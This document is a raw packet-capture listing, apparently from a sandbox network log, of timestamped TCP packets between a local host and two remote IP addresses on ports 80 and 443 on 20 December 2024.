Dec 20, 2024 22:52:39.431483030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.431502104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.431548119 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.432292938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.432337999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.432384968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.433089018 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.433201075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.493370056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.493402004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.493479013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.493774891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.493797064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.493829966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.493860006 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.494510889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.494565010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.494632959 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.495333910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.495394945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.495398045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.495476961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.496227980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.496237993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.496282101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.497071981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.497121096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.497159958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.497211933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.497881889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.497891903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.497941017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.498689890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.498728037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.498749971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.498775959 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.499433041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.499488115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.552263021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.671837091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.942708969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.942729950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.942769051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.942809105 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.943114042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.943152905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.943229914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.943272114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.943903923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.943955898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.944133043 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.944180012 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.944320917 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.944366932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.945048094 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.945096016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.945153952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.945199966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.945852041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.945902109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.945935965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.945979118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.946645975 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.946693897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.946862936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.946923018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.947475910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.947527885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.947731018 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.947789907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.948326111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.948374033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.948431969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.948482037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.949151039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.949215889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.949295998 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.949345112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.950031042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.950081110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.950135946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.950176001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.950800896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.950846910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.950980902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.951030970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.951651096 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.951700926 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.951848030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.951891899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.952486992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.952542067 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.952583075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.952624083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.953319073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.953358889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.953392982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.953433037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.954169035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.954217911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.954241037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.954284906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.954999924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.955039978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.955051899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.955080986 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.955820084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.955861092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.955902100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.955975056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.956676006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.956732988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.956751108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.956792116 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.957410097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.957463980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.957679033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.957720995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.958286047 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.958339930 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.958501101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.958545923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.959105015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.959146976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.959233046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.959276915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.959922075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.959965944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.960019112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.960057020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.960769892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.960814953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:39.960953951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:39.961004019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.020854950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.020910978 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.020944118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.020993948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.021030903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.021075964 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.021212101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.021272898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.021935940 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.021996975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.022099972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.022116899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.022147894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.022162914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.022830009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.022878885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.022991896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.023034096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.023699045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.023755074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.023794889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.023837090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.024563074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.024610996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.024681091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.024724960 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.025454044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.025470018 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.025501966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.025517941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.026263952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.026281118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.026310921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.026324034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.027060032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.027107000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.027137995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.027183056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.027842045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.027888060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.027981997 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.028027058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.028659105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.028712034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.181051970 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:40.181093931 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:40.181154966 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:40.181878090 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:40.181895971 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:40.622112989 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.622159958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:40.741682053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:40.741709948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:41.489542007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:41.489628077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:41.616889954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:41.736731052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.036264896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.036339045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.036374092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.036418915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.036597967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.036645889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.038680077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.158775091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.415606022 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:42.415703058 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:42.431384087 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:42.431402922 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:42.431791067 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:42.436141014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:42.436220884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.446022987 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:42.446096897 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:42.446101904 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:42.446214914 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:42.491338015 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:42.538630962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:42.658190966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.107897997 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:43.108021021 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:43.108083963 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:43.108505964 CET	49815	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:43.108520985 CET	443	49815	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:43.131455898 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.131520033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.200880051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.200942993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320367098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320420027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320497990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320554018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320559978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320609093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320619106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320651054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320664883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320717096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320727110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320771933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320780993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320825100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320826054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320863008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320873022 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320893049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.320918083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320941925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.320954084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.321002007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.321005106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.321033001 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.321049929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.321074963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440090895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440128088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440161943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440182924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440207005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440216064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440236092 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440277100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440304995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440363884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440390110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440439939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440449953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440493107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440540075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440568924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440604925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440617085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440634012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440665960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440690041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440722942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440733910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440797091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440824032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440875053 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.440879107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.440929890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.560590982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.560683966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.562827110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.562891006 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563060045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563090086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563118935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563119888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563148975 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563152075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563174009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563177109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563199997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563211918 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563232899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:43.563266993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563296080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563343048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563369989 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563399076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563431025 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563489914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563533068 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563561916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563589096 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563616037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563643932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563673019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563699961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563728094 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563755035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563782930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563811064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563838959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563868046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563894987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563922882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563950062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.563978910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564006090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564033031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564059973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564088106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564116001 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564143896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564174891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564224958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564253092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.564280987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.680354118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.680387974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.680474997 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.680526018 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.683116913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.683146000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.684833050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.684938908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.684967041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685082912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685112000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685162067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685189962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685282946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:43.685496092 CET	80	49786	185.219.81.132	192.168.2.6
